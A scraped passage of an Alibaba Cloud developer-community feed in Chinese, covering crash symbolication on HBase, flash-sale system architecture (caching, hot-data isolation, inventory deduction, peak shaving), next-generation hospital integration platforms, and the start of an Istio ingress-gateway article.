      hbase rowkey的设计,因为后面的查询会需要用到scan,我们把符号表kv的结束地址作为rowkey的一部分,至于为什么这么设计,往下读,你就明白了。

      0x03-3 查询的问题

      根据0x01原理,对hbase的查询,需要get,scan的支持,get的话相对简单,直接通过rowkey命中就好了,适用于java符号化的场景,对于C++/OC的符号化,就需要scan的支持,因为地址是一个范围,不能用get直接命中,下面用伪代码举例说明scan的流程:

      //1. 扫描libxxx.so符号,地址范围0x00001234 ~ 0xffffffff, 只取一条结果
      //这里利用了scan的特性,我们存的rowkey是符号的结束地址,所以扫描出的第一个,
      //就是最接近0x00001234的一个符号
      raw = scan("libxxx.so", 0x00001234, 0xffffffff, limit=1);
      //2. 解密,解压,判断有效性预处理
      data = pre(raw);
      //3. 精确定位地址,根据0x04-2的打包存入,再做切割拆分
      result = splitData(data);


      旧系统我们只用了应用级的缓存,每次重启缓存就会丢失,为了减小hbase的压力,我们增加一级分布式缓存,使用redis作为缓存,进一步减少了末端的查询QPS。

      0x03-4 如果保证100%的符号化成功率

      我们知道,如果符号化失败,就会出现不一样的崩溃点,这样就不能把这些崩溃点聚合在一起,会把一些严重的问题分散掉,同时会产生很多新的崩溃点,导致开发,测试无法分辨真实的崩溃情况,我们使用以下技术保障成功率:

      • 高并发,低延迟的符号化查询服务,保障解析效率,防止超时出现符号化失败的情况;
      • 多级缓存保障,减少hbase的scan操作;
      • 使用原生addr2line提取符号kv;
      • 重试机制。

      0x04 总结

      0x04-1 符号化系统的核心能力

      通过几个平台的符号化反能力对比,我们可以看到岳鹰2.0取得的阶段性成果。

      对比项 方案1 方案2 方案3
      符号表入库速度
      内存占用 常态高 常态高 入库时高
      CPU占用 常态高 常态高 入库时高
      安全性
      可扩展性
      部署复杂度

      0x04-2 运行效果的提升

      指标 岳鹰1.0到2.0的提升
      CPU核心数 -50%
      平均CPU水位 -40%
      内存 持平
      符号入库速度(OC) +20%
      符号入库速度(Java) 持平
      符号入库速度(SO <= 100M) 持平
      符号入库速度(SO > 100M) 20分钟以内
      符号化响应速度 100ms -> 9ms
      容器化部署 全容器化



      0x05 欢迎免费试用

      岳鹰为阿里集团众多使用UC内核的app(如手淘,支付宝,天猫,钉钉,优酷等)提供内核so的崩溃符号化功能,实现了Java,Native C++的质量监控完整闭环,并在Native C++上的支持上明显优于其它竞品,开发者能快速地还原现场并找出问题,同时整个系统支持动态扩缩容,为更多业务接入打下了坚实的基础。
      更多功能,欢迎来岳鹰平台体验。

      ]]>
      一个秒杀系统的设计思考-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 秒杀大家都不陌生。自2011年首次出现以来,无论是双十一购物还是 12306 抢票,秒杀场景已随处可见。简单来说,秒杀就是在同一时刻大量请求争抢购买同一商品并完成交易的过程。从架构视角来看,秒杀系统本质是一个高性能、高一致、高可用的三高系统。而打造并维护一个超大流量的秒杀系统需要进行哪些关注,就是本文讨论的话题。

      整体思考

      首先从高维度出发,整体思考问题。秒杀无外乎解决两个核心问题,一是并发读,一是并发写,对应到架构设计,就是高可用、一致性和高性能的要求。关于秒杀系统的设计思考,本文即基于此 3 层依次推进,简述如下——

      高性能
      秒杀涉及高读和高写的支持,如何支撑高并发,如何抵抗高IOPS?核心优化理念其实是类似的:高读就尽量“少读"或“读少",高写就数据拆分。本文将从动静分离、热点优化以及服务端性能优化 3 个方面展开。
      一致性
      秒杀的核心关注是商品库存,有限的商品在同一时间被多个请求同时扣减,而且要保证准确性,显而易见是一个难题。如何做到既不多又不少?本文将从业界通用的几种减库存方案切入,讨论一致性设计的核心逻辑。
      高可用:
      大型分布式系统在实际运行过程中面对的工况是非常复杂的,业务流量的突增、依赖服务的不稳定、应用自身的瓶颈、物理资源的损坏等方方面面都会对系统的运行带来大大小小的的冲击。如何保障应用在复杂工况环境下还能高效稳定运行,如何预防和面对突发问题,系统设计时应该从哪些方面着手?本文将从架构落地的全景视角进行关注思考。

      高性能

      动静分离
      大家可能会注意到,秒杀过程中你是不需要刷新整个页面的,只有时间在不停跳动。这是因为一般都会对大流量的秒杀系统做系统的静态化改造,即数据意义上的动静分离。动静分离三步走:1、数据拆分;2、静态缓存;3、数据整合。

      **数据拆分
      动静分离的首**要目的是将动态页面改造成适合缓存的静态页面。因此第一步就是分离出动态数据,主要从以下 2 个方面进行:
      1.用户。用户身份信息包括登录状态以及登录画像等,相关要素可以单独拆分出来,通过动态请求进行获取;与之相关的广平推荐,如用户偏好、地域偏好等,同样可以通过异步方式进行加载
      2.时间。秒杀时间是由服务端统一管控的,可以通过动态请求进行获取这里你可以打开电商平台的一个秒杀页面,看看这个页面里都有哪些动静数据。

      静态缓存
      分离出动静态数据之后,第二步就是将静态数据进行合理的缓存,由此衍生出两个问题:1、怎么缓存;2、哪里缓存

      怎么缓存:
      静态化改造的一个特点是直接缓存整个 HTTP 连接而不是仅仅缓存静态数据,如此一来,Web 代理服务器根据请求 URL,可以直接取出对应的响应体然后直接返回,响应过程无需重组 HTTP 协议,也无需解析 HTTP 请求头。而作为缓存键,URL唯一化是必不可少的,只是对于商品系统,URL 天然是可以基于商品 ID 来进行唯一标识的,比如淘宝的 https://item.taobao.com/item.htm?id=xxxx

      哪里缓存:
      静态数据缓存到哪里呢?可以有三种方式:1、浏览器;2、CDN ;3、服务端。
      浏览器当然是第一选择,但用户的浏览器是不可控的,主要体现在如果用户不主动刷新,系统很难主动地把消息推送给用户(注意,当讨论静态数据时,潜台词是 “相对不变”,言外之意是 “可能会变”),如此可能会导致用户端在很长一段时间内看到的信息都是错误的。对于秒杀系统,保证缓存可以在秒级时间内失效是不可或缺的。
      服务端主要进行动态逻辑计算及加载,本身并不擅长处理大量连接,每个连接消耗内存较多,同时 Servlet 容器解析 HTTP 较慢,容易侵占逻辑计算资源;另外,静态数据下沉至此也会拉长请求路径。
      因此通常将静态数据缓存在 CDN,其本身更擅长处理大并发的静态文件请求,既可以做到主动失效,又离用户尽可能近,同时规避 Java 语言层面的弱点。需要注意的是,上 CDN 有以下几个问题需要解决:
      1.失效问题。任何一个缓存都应该是有时效的,尤其对于一个秒杀场景。所以,系统需要保证全国各地的 CDN 在秒级时间内失效掉缓存信息,这实际对 CDN 的失效系统要求是很高的
      2.命中率问题。高命中是缓存系统最为核心的性能要求,不然缓存就失去了意义。如果将数据放到全国各地的 CDN ,势必会导致请求命中同一个缓存的可能性降低,那么命中率就成为一个问题
      因此,将数据放到全国所有的 CDN 节点是不太现实的,失效问题、命中率问题都会面临比较大的挑战。更为可行的做法是选择若干 CDN 节点进行静态化改造,节点的选取通常需要满足以下几个条件:
      临近访问量集中的地区
      距离主站较远的地区
      节点与主站间网络质量良好的地区
      基于以上因素,选择 CDN 的二级缓存比较合适,因为二级缓存数量偏少,容量也更大,访问量相对集中,这样就可以较好解决缓存的失效问题以及命中率问题,是当前比较理想的一种 CDN 化方案。部署方式如下图所示:
      图片1.png

      数据整合
      分离出动静态数据之后,前端如何组织数据页就是一个新的问题,主要在于动态数据的加载处理,通常有两种方案:ESI(Edge Side Includes)方案和 CSI(Client Side Include)方案。
      ESI 方案:Web 代理服务器上请求动态数据,并将动态数据插入到静态页面中,用户看到页面时已经是一个完整的页面。这种方式对服务端性能要求高,但用户体验较好。
      CSI 方案:Web 代理服务器上只返回静态页面,前端单独发起一个异步 JS 请求动态数据。这种方式对服务端性能友好,但用户体验稍差。

      小结
      动静分离对于性能的提升,抽象起来只有两点,一是数据要尽量少,以便减少没必要的请求,二是路径要尽量短,以便提高单次请求的效率。具体方法其实就是基于这个大方向进行的。
      **
      热点优化**
      热点分为热点操作和热点数据,以下分开进行讨论。
      热点操作
      零点刷新、零点下单、零点添加购物车等都属于热点操作。热点操作是用户的行为,不好改变,但可以做一些限制保护,比如用户频繁刷新页面时进行提示阻断。

      热点数据
      热点数据的处理三步走,一是热点识别,二是热点隔离,三是热点优化。

      1、热点识别
      热点数据分为静态热点和动态热点,具体如下:
      1.静态热点:能够提前预测的热点数据。大促前夕,可以根据大促的行业特点、活动商家等纬度信息分析出热点商品,或者通过卖家报名的方式提前筛选;另外,还可以通过技术手段提前预测,例如对买家每天访问的商品进行大数据计算,然后统计出 TOP N 的商品,即可视为热点商品
      2.动态热点:无法提前预测的热点数据。冷热数据往往是随实际业务场景发生交替变化的,尤其是如今直播卖货模式的兴起——带货商临时做一个广告,就有可能导致一件商品在短时间内被大量购买。由于此类商品日常访问较少,即使在缓存系统中一段时间后也会被逐出或过期掉,甚至在 DB 中也是冷数据。瞬时流量的涌入,往往导致缓存被击穿,请求直接到达 DB,引发 DB 压力过大

      因此秒杀系统需要实现热点数据的动态发现能力,一个常见的实现思路是:
      1.异步采集交易链路各个环节的热点 Key 信息,如 Nginx 采集访问 URL 或 Agent 采集热点日志(一些中间件本身已具备热点发现能力),提前识别潜在的热点数据
      2.聚合分析热点数据,达到一定规则的热点数据,通过订阅分发推送到链路系统,各系统根据自身需求决定如何处理热点数据,或限流或缓存,从而实现热点保护

      需要注意的是:
      1.热点数据采集最好采用异步方式,一方面不会影响业务的核心交易链路,一方面可以保证采集方式的通用性
      2.热点发现最好做到秒级实时,这样动态发现才有意义,实际上也是对核心节点的数据采集和分析能力提出了较高的要求

      2、热点隔离
      热点数据识别出来之后,第一原则就是将热点数据隔离出来,不要让 1% 影响到另外的 99%,可以基于以下几个层次实现热点隔离:
      1.业务隔离。秒杀作为一种营销活动,卖家需要单独报名,从技术上来说,系统可以提前对已知热点做缓存预热
      2.系统隔离。系统隔离是运行时隔离,通过分组部署和另外 99% 进行分离,另外秒杀也可以申请单独的域名,入口层就让请求落到不同的集群中
      3.数据隔离。秒杀数据作为热点数据,可以启用单独的缓存集群或者 DB 服务组,从而更好的实现横向或纵向能力扩展
      当然,实现隔离还有很多种办法。比如,可以按照用户来区分,为不同的用户分配不同的 Cookie,入口层路由到不同的服务接口中;再比如,域名保持一致,但后端调用不同的服务接口;又或者在数据层给数据打标进行区分等等,这些措施的目的都是把已经识别的热点请求和普通请求区分开来。

      3、热点优化
      热点数据隔离之后,也就方便对这 1% 的请求做针对性的优化,方式无外乎两种:
      1.缓存:热点缓存是最为有效的办法。如果热点数据做了动静分离,那么可以长期缓存静态数据
      2.限流:流量限制更多是一种保护机制。需要注意的是,各服务要时刻关注请求是否触发限流并及时进行review

      4、小结
      数据的热点优化与动静分离是不一样的,热点优化是基于二八原则对数据进行了纵向拆分,以便进行针对性地处理。热点识别和隔离不仅对“秒杀”这个场景有意义,对其他的高性能分布式系统也非常有参考价值。

      系统优化
      对于一个软件系统,提高性能可以有很多种手段,如提升硬件水平、调优JVM 性能,这里主要关注代码层面的性能优化——

      1.减少序列化:
      减少 Java 中的序列化操作可以很好的提升系统性能。序列化大部分是在 RPC 阶段发生,因此应该尽量减少 RPC 调用,一种可行的方案是将多个关联性较强的应用进行 “合并部署”,从而减少不同应用之间的 RPC 调用(微服务设计规范)

      2.直接输出流数据:
      只要涉及字符串的 I/O 操作,无论是磁盘 I/O 还是网络 I/O,都比较耗费 CPU 资源,因为字符需要转换成字节,而这个转换又必须查表编码。所以对于常用数据,比如静态字符串,推荐提前编码成字节并缓存,具体到代码层面就是通过 OutputStream() 类函数从而减少数据的编码转换;另外,热点方法 toString() 不要直接调用 ReflectionToString 实现,推荐直接硬编码,并且只打印 DO 的基础要素和核心要素

      3.裁剪日志异常堆栈:
      无论是外部系统异常还是应用本身异常,都会有堆栈打出,超大流量下,频繁的输出完整堆栈,只会加剧系统当前负载。可以通过日志配置文件控制异常堆栈输出的深度

      4.去组件框架:
      极致优化要求下,可以去掉一些组件框架,比如去掉传统的 MVC 框架,直接使用 Servlet 处理请求。这样可以绕过一大堆复杂且用处不大的处理逻辑,节省毫秒级的时间,当然,需要合理评估你对框架的依赖程度

      总结一下
      性能优化需要一个基准值,所以系统还需要做好应用基线,比如性能基线(何时性能突然下降)、成本基线(去年大促用了多少机器)、链路基线(核心流程发生了哪些变化),通过基线持续关注系统性能,促使系统在代码层面持续提升编码质量、业务层面及时下掉不合理调用、架构层面不断优化改进。

      一致性

      秒杀系统中,库存是个关键数据,卖不出去是个问题,超卖更是个问题。秒杀场景下的一致性问题,主要就是库存扣减的准确性问题。

      减库存的方式
      电商场景下的购买过程一般分为两步:下单和付款。“提交订单”即为下单,“支付订单”即为付款。基于此设定,减库存一般有以下几个方式:

      1.下单减库存。买家下单后,扣减商品库存。下单减库存是最简单的减库存方式,也是控制最为精确的一种

      2.付款减库存。买家下单后,并不立即扣减库存,而是等到付款后才真正扣减库存。但因为付款时才减库存,如果并发比较高,可能出现买家下单后付不了款的情况,因为商品已经被其他人买走了

      3.预扣库存。这种方式相对复杂一些,买家下单后,库存为其保留一定的时间(如 15 分钟),超过这段时间,库存自动释放,释放后其他买家可以购买
      能够看到,减库存方式是基于购物过程的多阶段进行划分的,但无论是在下单阶段还是付款阶段,都会存在一些问题,下面进行具体分析。

      减库存的问题

      下单减库存
      优势:用户体验最好。下单减库存是最简单的减库存方式,也是控制最精确的一种。下单时可以直接通过数据库事务机制控制商品库存,所以一定不会出现已下单却付不了款的情况。
      劣势:可能卖不出去。正常情况下,买家下单后付款概率很高,所以不会有太大问题。但有一种场景例外,就是当卖家参加某个促销活动时,竞争对手通过恶意下单的方式将该商品全部下单,导致库存清零,那么这就不能正常售卖了——要知道,恶意下单的人是不会真正付款的,这正是 “下单减库存” 的不足之处。

      付款减库存
      优势:一定实际售卖。“下单减库存” 可能导致恶意下单,从而影响卖家的商品销售, “付款减库存” 由于需要付出真金白银,可以有效避免。
      劣势:用户体验较差。用户下单后,不一定会实际付款,假设有 100 件商品,就可能出现 200 人下单成功的情况,因为下单时不会减库存,所以也就可能出现下单成功数远远超过真正库存数的情况,这尤其会发生在大促的热门商品上。如此一来就会导致很多买家下单成功后却付不了款,购物体验自然是比较差的。

      预扣库存
      优势:缓解了以上两种方式的问题。预扣库存实际就是“下单减库存”和 “付款减库存”两种方式的结合,将两次操作进行了前后关联,下单时预扣库存,付款时释放库存。
      劣势:并没有彻底解决以上问题。比如针对恶意下单的场景,虽然可以把有效付款时间设置为 10 分钟,但恶意买家完全可以在 10 分钟之后再次下单。

      小结:
      减库存的问题主要体现在用户体验和商业诉求两方面,其本质原因在于购物过程存在两步甚至多步操作,在不同阶段减库存,容易存在被恶意利用的漏洞。

      实际如何减库存

      业界最为常见的是预扣库存。无论是外卖点餐还是电商购物,下单后一般都有个 “有效付款时间”,超过该时间订单自动释放,这就是典型的预扣库存方案。但如上所述,预扣库存还需要解决恶意下单的问题,保证商品卖的出去;另一方面,如何避免超卖,也是一个痛点。

      卖的出去:恶意下单的解决方案主要还是结合安全和反作弊措施来制止。比如,识别频繁下单不付款的买家并进行打标,这样可以在打标买家下单时不减库存;再比如为大促商品设置单人最大购买件数,一人最多只能买 N 件商品;又或者对重复下单不付款的行为进行次数限制阻断等。

      避免超卖:库存超卖的情况实际分为两种。对于普通商品,秒杀只是一种大促手段,即使库存超卖,商家也可以通过补货来解决;而对于一些商品,秒杀作为一种营销手段,完全不允许库存为负,也就是在数据一致性上,需要保证大并发请求时数据库中的库存字段值不能为负,一般有多种方案:一是在通过事务来判断,即保证减后库存不能为负,否则就回滚;二是直接设置数据库字段类型为无符号整数,这样一旦库存为负就会在执行 SQL 时报错;三是使用 CASE WHEN 判断语句:

      UPDATE item SET inventory
      CASE WHEN inventory
      xxx THEN inventory
      xxx ELSE inventory

      业务手段保证商品卖的出去,技术手段保证商品不会超卖,库存问题从来就不是简单的技术难题,解决问题的视角是多种多样的。

      一致性性能的优化
      库存是个关键数据,更是个热点数据。对系统来说,热点的实际影响就是 “高读” 和 “高写”,也是秒杀场景下最为核心的一个技术难题

      高并发读
      秒杀场景解决高并发读问题,关键词是“分层校验”。即在读链路时,只进行不影响性能的检查操作,如用户是否具有秒杀资格、商品状态是否正常、用户答题是否正确、秒杀是否已经结束、是否非法请求等,而不做一致性校验等容易引发瓶颈的检查操作;直到写链路时,才对库存做一致性检查,在数据层保证最终准确性。

      因此,在分层校验设定下,系统可以采用分布式缓存甚至 LocalCache 来抵抗高并发读。即允许读场景下一定的脏数据,这样只会导致少量原本无库存的下单请求被误认为是有库存的,等到真正写数据时再保证最终一致性,由此做到高可用和一致性之间的平衡。

      实际上,分层校验的核心思想是:不同层次尽可能过滤掉无效请求,只在“漏斗” 最末端进行有效处理,从而缩短系统瓶颈的影响路径。

      高并发写
      高并发写的优化方式,一种是更换 DB 选型,一种是优化 DB 性能,以下分别进行讨论。

      1、更换DB选型
      秒杀商品和普通商品的减库存是有差异的,核心区别在数据量级小、交易时间短,因此能否把秒杀减库存直接放到缓存系统中实现呢,也就是直接在一个带有持久化功能的缓存中进行减库存操作,比如 Redis?

      如果减库存逻辑非常单一的话,比如没有复杂的 SKU 库存和总库存这种联动关系的话,个人认为是完全可以的。但如果有比较复杂的减库存逻辑,或者需要使用到事务,那就必须在数据库中完成减库存操作。

      2、优化DB性能
      库存数据落地到数据库实现其实是一行存储(MySQL),因此会有大量线程来竞争 InnoDB 行锁。但并发越高,等待线程就会越多,TPS 下降,RT 上升,吞吐量会受到严重影响——注意,这里假设数据库已基于上文【性能优化】完成数据隔离,以便于讨论聚焦 。

      解决并发锁的问题,有两种办法:

      应用层排队。
      通过缓存加入集群分布式锁,从而控制集群对数据库同一行记录进行操作的并发度,同时也能控制单个商品占用数据库连接的数量,防止热点商品占用过多的数据库连接

      数据层排队。
      应用层排队是有损性能的,数据层排队是最为理想的。业界中,阿里的数据库团队开发了针对 InnoDB 层上的补丁程序(patch),可以基于 DB 层对单行记录做并发排队,从而实现秒杀场景下的定制优化——注意,排队和锁竞争是有区别的,如果熟悉 MySQL 的话,就会知道 InnoDB 内部的死锁检测,以及 MySQL Server 和 InnoDB 的切换都是比较消耗性能的。另外阿里的数据库团队还做了很多其他方面的优化,如 COMMIT_ON_SUCCESS 和 ROLLBACK_ON_FAIL 的补丁程序,通过在 SQL 里加入提示(hint),实现事务不需要等待实时提交,而是在数据执行完最后一条 SQL 后,直接根据 TARGET_AFFECT_ROW 的结果进行提交或回滚,减少网络等待的时间(毫秒级)。目前阿里已将包含这些补丁程序的 MySQL 开源:AliSQL

      小结:
      高读和高写的两种处理方式大相径庭。读请求的优化空间要大一些,而写请求的瓶颈一般都在存储层,优化思路的本质还是基于 CAP 理论做平衡。
      总结一下:
      当然,减库存还有很多细节问题,例如预扣的库存超时后如何进行回补,再比如第三方支付如何保证减库存和付款时的状态一致性,这些也是很大的挑战。

      高可用

      盯过秒杀流量监控的话,会发现它不是一条蜿蜒而起的曲线,而是一条挺拔的直线,这是因为秒杀请求高度集中于某一特定的时间点。这样一来就会造成一个特别高的零点峰值,而对资源的消耗也几乎是瞬时的。所以秒杀系统的可用性保护是不可或缺的。

      流量削峰
      对于秒杀的目标场景,最终能够抢到商品的人数是固定的,无论 100 人和 10000 人参加结果都是一样的,即有效请求额度是有限的。并发度越高,无效请求也就越多。但秒杀作为一种商业营销手段,活动开始之前是希望有更多的人来刷页面,只是真正开始后,秒杀请求不是越多越好。因此系统可以设计一些规则,人为的延缓秒杀请求,甚至可以过滤掉一些无效请求。

      答题
      早期秒杀只是简单的点击秒杀按钮,后来才增加了答题。为什么要增加答题呢?主要是通过提升购买的复杂度,达到两个目的:
      1.防止作弊。早期秒杀器比较猖獗,存在恶意买家或竞争对手使用秒杀器扫货的情况,商家没有达到营销的目的,所以增加答题来进行限制
      2.延缓请求。零点流量的起效时间是毫秒级的,答题可以人为拉长峰值下单的时长,由之前的 <1s 延长到 <10s。这个时间对于服务端非常重要,会大大减轻高峰期并发压力;另外,由于请求具有先后顺序,答题后置的请求到来时可能已经没有库存了,因此根本无法下单,此阶段落到数据层真正的写也就非常有限了

      排队
      最为常见的削峰方案是使用消息队列,通过把同步的直接调用转换成异步的间接推送缓冲瞬时流量。除了消息队列,类似的排队方案还有很多,例如:
      1.线程池加锁等待
      2.本地内存蓄洪等待
      3.本地文件序列化写,再顺序读
      排队方式的弊端也是显而易见的,主要有两点:
      1.请求积压。流量高峰如果长时间持续,达到了队列的水位上限,队列同样会被压垮,这样虽然保护了下游系统,但是和请求直接丢弃也没多大区别
      2.用户体验。异步推送的实时性和有序性自然是比不上同步调用的,由此可能出现请求先发后至的情况,影响部分敏感用户的购物体验
      排队本质是在业务层将一步操作转变成两步操作,从而起到缓冲的作用,但鉴于此种方式的弊端,最终还是要基于业务量级和秒杀场景做出妥协和平衡。

      过滤
      过滤的核心结构在于分层,通过在不同层次过滤掉无效请求,达到数据读写的精准触发。常见的过滤主要有以下几层:
      1.读限流:对读请求做限流保护,将超出系统承载能力的请求过滤掉
      2.读缓存:对读请求做数据缓存,将重复的请求过滤掉
      3.写限流:对写请求做限流保护,将超出系统承载能力的请求过滤掉
      4.写校验:对写请求做一致性校验,只保留最终的有效数据
      过滤的核心目的是通过减少无效请求的数据 IO 保障有效请求的 IO 性能。

      小结:
      系统可以通过入口层的答题、业务层的排队、数据层的过滤达到流量削峰的目的,本质是在寻求商业诉求与架构性能之间的平衡。另外,新的削峰手段也层出不穷,以业务切入居多,比如零点大促时同步发放优惠券或发起抽奖活动,将一部分流量分散到其他系统,这样也能起到削峰的作用。

      Plan B
      当一个系统面临持续的高峰流量时,其实是很难单靠自身调整来恢复状态的,日常运维没有人能够预估所有情况,意外总是无法避免。尤其在秒杀这一场景下,为了保证系统的高可用,必须设计一个 Plan B 方案来进行兜底。

      高可用建设,其实是一个系统工程,贯穿在系统建设的整个生命周期。
      图片2.png

      具体来说,系统的高可用建设涉及架构阶段、编码阶段、测试阶段、发布阶段、运行阶段,以及故障发生时,逐一进行分析:

      架构阶段:考虑系统的可扩展性和容错性,避免出现单点问题。例如多地单元化部署,即使某个 IDC 甚至地市出现故障,仍不会影响系统运转

      编码阶段:保证代码的健壮性,例如 RPC 调用时,设置合理的超时退出机制,防止被其他系统拖垮,同时也要对无法预料的返回错误进行默认的处理

      测试阶段:保证 CI 的覆盖度以及 Sonar 的容错率,对基础质量进行二次校验,并定期产出整体质量的趋势报告

      发布阶段:系统部署最容易暴露错误,因此要有前置的 checklist 模版、中置的上下游周知机制以及后置的回滚机制

      运行阶段:系统多数时间处于运行态,最重要的是运行时的实时监控,及时发现问题、准确报警并能提供详细数据,以便排查问题

      故障发生:首要目标是及时止损,防止影响面扩大,然后定位原因、解决问题,最后恢复服务

      对于日常运维而言,高可用更多是针对运行阶段而言的,此阶段需要额外进行加强建设,主要有以下几种手段:

      预防:建立常态压测体系,定期对服务进行单点压测以及全链路压测,摸排水位

      管控:做好线上运行的降级、限流和熔断保护。需要注意的是,无论是限流、降级还是熔断,对业务都是有损的,所以在进行操作前,一定要和上下游业务确认好再进行。就拿限流来说,哪些业务可以限、什么情况下限、限流时间多长、什么情况下进行恢复,都要和业务方反复确认

      监控:建立性能基线,记录性能的变化趋势;建立报警体系,发现问题及时预警

      恢复:遇到故障能够及时止损,并提供快速的数据订正工具,不一定要好,但一定要有

      在系统建设的整个生命周期中,每个环节中都可能犯错,甚至有些环节犯的错,后面是无法弥补的或者成本极高的。所以高可用是一个系统工程,必须放到整个生命周期中进行全面考虑。同时,考虑到服务的增长性,高可用更需要长期规划并进行体系化建设。

      总结一下:
      高可用其实是在说 “稳定性”,稳定性是一个平时不重要,但出了问题就要命的事情,然而它的落地又是一个问题——平时业务发展良好,稳定性建设就会降级给业务让路。解决这个问题必须在组织上有所保障,比如让业务负责人背上稳定性绩效指标,同时在部门中建立稳定性建设小组,小组成员由每条线的核心力量兼任,绩效由稳定性负责人来打分,这样就可以把体系化的建设任务落实到具体的业务系统中了。

      个人总结
      一个秒杀系统的设计,可以根据不同级别的流量,由简单到复杂打造出不同的架构,本质是各方面的取舍和权衡。当然,你可能注意到,本文并没有涉及具体的选型方案,因为这些对于架构来说并不重要,作为架构师,应该时刻提醒自己主线是什么。

      同时也在这里抽象、提炼一下,主要是个人对于秒杀设计的提纲式整理,方便各位同学进行参考!

      图片3.png

      ]]>
      展望下一代医疗集成平台-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800  【导读】 医疗信息集成在我国医院信息化的发展中,已经落地实施了将近十年。这十年间,信息集成平台的建设,从一、两家的最佳实践案例到全国医院的大规模实施,再到国家卫健委的互联互通标准化测评,已经经过了行业内的充分论证与实践,取得了蓬勃的发展。那么,究竟集成平台需要具备哪些特性,才能更好地满足:1) 区域共享;2)数据应用;3)资源贯通;4)业务协同?

      集成平台:在线增量备份与任意时间点恢复

      集成平台承载了医院的核心业务,因而从保障业务连续性角度必须做到有“备”而无患,常见的解决方案有双机冷备和双机热备。
      总体说来,双机即两台服务器,一台主机(Master)运行(Active),一台备用(Slave) 机待命(Stand-by)。一旦主机宕机,由备用机临时接管工作。冷备需手动切换到备用机,热备可实现自动切换。 双机热备将数据在主机和备机中自动同步,主机宕机自动切换至副机,保证系统高可用性和业务连续性。

      冷备份, 以及逻辑备份都是某一个时间点的备份, 没有增量的概念。如果数据库在运行过程中发生故障, 使用逻辑备份只能将数据库还原到备份时刻, 无法恢复到故障发生前的那个时刻。并且无法解决在使用过程中由于误操作修改或删除了重要数据, 需要还原到误操作前的那个时刻等类似需求。使用冷备份加上有效的归档文件可以实现任意时间点的恢复。但是冷备份需要停库操作, 无法保障医院的核心业务的连续性。

      所以新一代集成平台需要支持在线的增量备份, 同时又支持基于时间点的恢复。

      集成引擎、ESB、ETL:“三合一”

      无论医院级别大小,各医疗机构系统情况不一,集成需求多样化,对集成+ESB+ETL的混合型业务需求日益增多。

      将强调消息有序性和保证传输的集成引擎,着重服务的ESB、和数据抽取转换上报(ETL)功能三合一至一个中间件,使得医院不必购买多套软件产品,集成平台的使用和维护也变得更加便捷,并且提高了集成平台的综合性能和稳定性。

      内嵌国内CDA标准:涵盖医院和区域

      将国内 CDA 标准(《电子病历共享文档规范》及《卫生信息共享文档》)内嵌至下一代集成平台,提供用户对CDA及数据集进行自定义的功能,满足实际互联互通项目实施时的微调需求。界面包含清晰的互联互通服务的统计信息,进一步助力互联互通测评工作,满足各级各类医院集成平台信息传输与交换层面的规范、统一需求,助力实现医院信息平台跨机构、跨区域交换与共享,有力促进业务协同;

      CDAAAA.jpg

      对大数据系统的内嵌支持:Hadoop, Kafka

      随着医院信息化建设不断发展,医疗数据规模日益增长,医疗服务全面进入“大数据时代”。下一代集成平台需要以临床数据为核心,采用智能化的双向数据采集工具,实时聚集各类医疗业务数据,进行标准化处理,搭建主题数据仓库,形成高质量的大数据资产,结合人工智能算法和数据分析模型,满足医院信息共享与应用的需求。

      数据中心.jpg

      由此可见,集成平台的对大数据系统的支持日显重要。集成平台可内嵌支持对HDFS分布式文件系统的读写访问操作;也可以通过Phoenix进行桥接对Hadoop 系统操作;提供连接Kafka系统的终端实现对Kafka 分布式流平台支持,实现对大数据的支持。

      展望下一代医疗集成平台

      预见到,未来医院和区域信息平台的发展呈现如下趋势:
      分布式集群部署,保障服务稳定,可动态扩展
      完善的标准化原子服务库,满足医院业务需求
      图形化服务配置,快速实现服务封装发布
      支持海量数据实时采集,采用分布式集群模式
      全面整合医院数据资源,形成有效的数据资产,深度挖掘数据价值
      遵循国卫标准,符合HL7、CDA及IHE等标准
      提供丰富的适配器组件,满足各种接入需求

      ]]>
      Istio 网关之南北向流量管理(内含服务网格专家亲自解答)-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 Istio 网关

      网络社区中有一个术语 Ingress,是指入口请求到集群内服务的流量管理。Ingress 指的是源自本地网络之外的流量,指向本地集群网络中的端点。此流量首先路由到公开的入口点,以便通过执行一些本地网络的规则和策略来确认哪些流量被允许进入。如果流量未通过这些入口点,则无法与集群内的任何服务连接。如果入口点允许流量进入,则将其代理到本地网络中的合适节点。Istio 对入口流量的管理是由 Istio 网关进行的。

      Istio 网关的工作原理

      传统上,Kubernetes 使用 Ingress 控制器来处理从外部进入集群的流量。使用 Istio 时,情况不再如此。Istio 网关用新的 Gateway 资源和 VirtualServices 资源来控制入口流量,它们协同工作以将流量路由到网格中。在网格内部不需要 Gateways,因为服务可以通过集群本地服务名称相互访问。

      那么 Istio 网关是怎样工作的?请求如何到达它想要的应用程序?基本步骤如下:

      1.客户端在特定端口上发出请求;
      2.负载均衡器在这个端口上进行侦听,并将请求转发到集群中(在相同或新的端口);
      3.在集群内部,请求被路由到 Istio IngressGateway 服务所侦听的负载均衡器转发过来的端口上;
      4.Istio IngressGateway 服务将请求(在相同或新的端口)转发到对应的 pod 上;
      5.在 IngressGateway pod 上会配置 Gateway 资源和 VirtualService 资源定义。Gateway 会配置端口、协议以及相关安全证书。VirtualService 的路由配置信息用于找到正确的服务;
      6.Istio IngressGateway pod 会根据路由配置信息将请求路由到对应的应用服务上;
      7.应用服务将请求路由到对应的应用 pod 上。

      image.png

      (tio 网关的工作原理)

      Istio 网关的负载均衡作用

      典型的服务网格具有一个或多个负载均衡器,也称为网关(Gateway),它们从外部网络终止 TLS 并允许流量进入网格。然后,流量通过边车网关(Sidecar gateway)流经内部服务。应用程序使用外部服务的场景也很常见,可以直接调用外部服务,或者在某些部署中强制通过专用出口网关(Egress Gateway)离开网格的所有流量。

      Istio 具有入口网关的概念,它扮演网络入口点的角色,负责保护和控制来自集群外部的流量对集群的访问。

      image.png
      (网关在网格中的使用情况)

      此外,Istio 的网关还扮演负载均衡和虚拟主机路由的角色。如图所示,可以看到默认情况下 Istio 使用 Envoy 代理作为入口代理。Envoy 是一个功能强大的服务到服务代理,但它也有负载均衡和路由的功能,可代理的流量包括从服务网格外部到其内部运行的服务,或者从集群内部服务到外部服务。在前面章节中介绍的 Envoy 的所有功能也可以在入口网关中使用。

      image.png
      (Istio 的入口网关服务)

      对于入口流量管理,你可能会问:为什么不直接使用 Kubernetes Ingress API?

